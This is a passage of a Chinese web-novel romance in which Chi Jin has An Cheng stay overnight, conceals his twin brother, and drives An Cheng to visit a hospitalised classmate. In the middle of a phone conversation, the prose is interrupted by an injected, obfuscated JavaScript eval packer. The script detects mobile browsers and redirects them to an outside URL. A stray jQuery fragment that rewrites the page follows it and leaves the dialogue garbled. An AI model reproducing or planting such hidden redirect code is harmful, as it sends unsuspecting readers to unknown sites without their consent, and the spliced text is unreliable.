“都可以。”安呈没多少胃口。

    “不如买点菜去我那里做,你晚上就住下,明天我再送你回学校。”池烬提议道。

    安呈靠着车门,轻轻应一声。

    池烬开车前往超市。

    安呈本想跟着下去,池烬让他坐在车里好好休息,他说不用,池烬多劝了两句,他便只好乖乖坐在车里等待。

    他精力不高,在外面玩一下午,这会儿精神恹恹,困意跟着袭来,歪头靠着车窗,眼皮子直打架。

    池烬买完菜出来,安呈已经靠着车门睡着了,他放轻动作上车,转动方向盘开车离开。

    回到住处,安呈仍睡着,池烬没有叫醒他,只是转过头,一言不发地望着他。

    池烬第一次喜欢一个人,越了解越喜欢,想现在就开始追求他,又怕吓到他,到最后沦落到连面都见不上的惨局。

    车库里亮着灯,隐约可见安呈的轮廓,池烬观望许久,解开安全带,上半身慢慢往副驾倾斜,离得近了,他又闻到安呈身上淡淡的皂香,视线上移,见安呈头顶翘起的几缕头发,伸手轻轻往下压。

    安呈半睡半醒,感觉到脸颊被什么柔软温热的东西碰了一下,他浓密的睫毛轻颤,缓缓睁开眼,迷惘观察一会儿,扭头往旁边看去。

    池烬嘴角微勾,“你醒了。”

    “……嗯。”安呈摸着有点痒的脸颊。

    池烬开车门下去,“正想抱你下车呢。”

    安呈跟着下去,这是他第二次来池烬这里,上次走得匆忙,没有好好参观过这里,这次跟着池烬大致转了一圈。

    “你把这里当自己家,不用拘束。”池烬给他倒杯水。

    安呈拘谨坐在沙发上,轻轻嗯了声。

    池烬拿着菜去厨房做饭。

    安呈站起来,“我可以帮忙。”

    池烬正要拒绝,捕捉到安呈眼底的不自在,笑道,“你帮我剥蒜洗菜,剩下的让我来,这样没问题吧?”

    安呈眉眼舒展,点头,“嗯!”

    厨房很大,两个人在里面忙活并不会拥挤,安呈仔细剥着蒜,外面门铃陡然响起,池烬起身过去开门。

    他待在厨房没动,没过多久,听见外面传来模糊的对话。

    “你找我就为了说这事儿?”

    “不行?”

    “行,你想来就来,我不拦你,不过话说在前头,我今天有客人,不欢迎你留下来。”

    安呈走出去厨房,来到窗边往外看。

    院子里开着灯,两个身高相同的男人站在院子里,一个是池烬,另一个人背对着他,身上穿着黑西裤和黑衬衣,无论是发型还是身型,乍一看都跟池烬没什么两样。

    那是池烬的朋友?

    他疑惑歪头,见男人动作顿住,听见对方问了句话。

    “他在里面?”

    安呈若有所思。

    声音跟池烬也好像……

    如果闭着眼睛让他猜,他可能都猜不出来谁是谁。

    池烬轻啧一声,“你到底走不走?”

    男人没吭声,不多时,安呈看见外面的男人动了,直到出门上车,他都没有看清男人的长相。

    池烬回到屋里,见安呈站在窗前发呆,笑着走过去,“想什么呢?”

    安呈转头看他,“刚刚那个人,是你的朋友吗?”

    池烬笑意收敛,“不重要的人,不用放心上。”

    池烬现在并不想让安呈知道他有个哥,还是跟他长相一模一样的双胞胎,或许是怕安呈好奇,担心安呈因为好奇提出想见池巍的想法。

    从池巍第一次问他安呈是谁的时候,他的危机感就来了。

    安呈本就是随口一问,听池烬这么说,便没再问关于那个男人的问题。

    晚饭后,他在池烬的安排下住进二楼的客卧,客卧自带卫浴,衣柜里挂满了各式各样的衣服。

    池烬从衣柜里拿出件衣服递给他,“洗完澡换上,你应该能穿。”

    安呈接过衣服,观察半天,抬头看着池烬欲言又止,手里的衣服明显不是池烬的尺码,反而更偏向于他所穿的尺码。

    这是别人的房间?

    他不确定地思考着,心想那个人是池烬的家人吗?

    池烬回过头,一眼看出他的多虑,笑道,“我前阵子找人送了一批衣服,不小心报错尺码,衣服数量太多,全部退回会有人拿不到钱,干脆留下了,你放心穿,衣服都是新的,没别人穿过。”

    安呈轻易相信了这个解释,“谢谢,我下次会洗干净还给你。”

    池烬:“不用,你穿着就行,不然这些衣服放在这里也没用。”

    安呈张了张口想说点什么,一个字还没说出来,就被池烬捂住嘴巴。

    池烬垂眼看着他长卷浓密的睫毛,嗓音低沉有磁性,“别说给钱的事,如果你不穿,这些衣服放久了只会扔掉,穿到你身上反而有了它们存在的价值。”

    其实安呈想说可以捐给有需要的人,可当他抬眼对上池烬的眼神,那些话就说不出来了,便点了点头。

    池烬捂嘴捂得轻,安呈点头的时候,柔软的嘴唇就这么蹭着他的掌心摩擦,他又控制不住地想起那个美好的夜晚,低下头,情不自禁地慢慢靠近安呈。

    安呈本能地后退,面露困惑,“怎么了?”

    池烬深呼吸,笑了声,“刚刚发现你脸上有东西,凑近看又没有了。”

    安呈摸摸脸颊,没有吭声。

    池烬拍下他的脑袋,“你好好休息,明天带你去玩别的。”

    池烬说罢就要走,安呈及时拽住他的衣服。

    池烬转过身,“嗯?”

    安呈抬脸,“我想用一下充电器。”

    池烬盯着他嫣红的嘴唇,声线微哑:“床头柜的抽屉里有充电器和耳机,桌上的电脑没有密码,也没有重要文件,你随时可以用。”

    这一切,早在认识安呈的第二天就准备好了。

    “……哦。”安呈松开手,看池烬走出门,想了想,赶在池烬关门前轻声对他说:“晚安。”

    池烬嘴角扬起,“晚安。”

    门关上,安呈独自待在客卧,好奇观察了一圈,放下手机去浴室洗澡。

    等他从浴室出来,茶几桌上的手机正响起铃声,他走过去,是程究打来的语音电话,他没多想就选择了接听。

    “还在外面跟朋友玩?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17664919|207251||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    程究语气不明。

    安呈:“没有,我今晚住朋友家,不回宿舍了。”

    程究:“你们住一间房?”

    安呈:“不是啊,怎么了?”

    程究轻笑,“没事,随便问问,你休息吧。”

    电话挂断,安呈看着手机发呆。

    他躺到床上,提示音突然响起,新消息竟然是池烬的生活号发来的。

    :晚安。

    他微微抿唇,手指在屏幕上慢慢打字:晚安。

    发过去之后,他犹犹豫豫地发送了一个小猫睡觉的表情,这是一位同学之前发他的,他收藏这么久还没有用过。

    城市另一边,池巍坐在书房,看着手机里的消息,眼底浮现出淡淡的笑意。

    翌日。

    天气干燥闷热,高大状给安呈打电话告知程究住院的事,问他要不要一起去医院看程究,他没犹豫就答应下来。

    池烬在旁边听着,等他挂断,起身道:“我送你。”

    “不用了,我坐地铁去就好。”安呈不想再麻烦池烬。

    池烬:“我开车送你快一点。”

    安呈:“……好吧。”

    去往医院的路上,安呈考虑要不要买点水果,发消息问高大状他们买了什么。

    高大状:在路边买了打折的花。

    张奇浩:我不买,又不是我害他被车撞,过去看他一眼已经很讲情义了。我劝你最好也别买,不然显得我多没面子。

    安呈陷入沉思。

    池烬停车等红绿灯,偏头见他露出纠结的表情,问:“想什么呢?”

    安呈摇摇头。

    他思考一路,最后拜托池烬在水果店附近停车,下车去买了些水果。

    程究帮过他很多,他不买点东西过去探望,心里过意不去。

    到医院下车后,他对池烬说:“你回去吧,我晚点坐地铁回学校。”

    “真不用我送你?”池烬问。

    安呈:“不用,今天已经很麻烦你了。”

    只要是关于安呈的事,池烬一点不觉得麻烦,但现在他不能表现得太执着,不然会引起安呈的反感。

    “好,你到学校了给我发个消息。”

    安呈笑着应一声,往后退几步,对池烬招招手,“再见。”

    池烬:“我们微信联系。”

    安呈站在原地看着车远去,这才提着水果进医院。

    他进去不久后,原本已经远去的车辆又开了回来。

    安呈转了大半圈才找到程究的病房,病房里没有其他同学,程究一个人坐在病床上看手机。

    他敲了敲门。

    程究抬头,“进。”

    安呈走进病房,见程究头上包着的纱布,担忧道:“情况严重吗?”

    程究瞅见他手里的水果,唇边多了抹笑意,“不算严重,休息几天就好。”

    安呈把水果放桌上,“我不知道你喜欢吃什么,就随便买了些。”

    现在的水果不便宜,这些花了他小一百,他这个月的生活费所剩不多,付钱的时候有点后悔买那么多水果,店员当时一直微笑看着他,他也不好意思再放回去一些,咬咬牙全买了。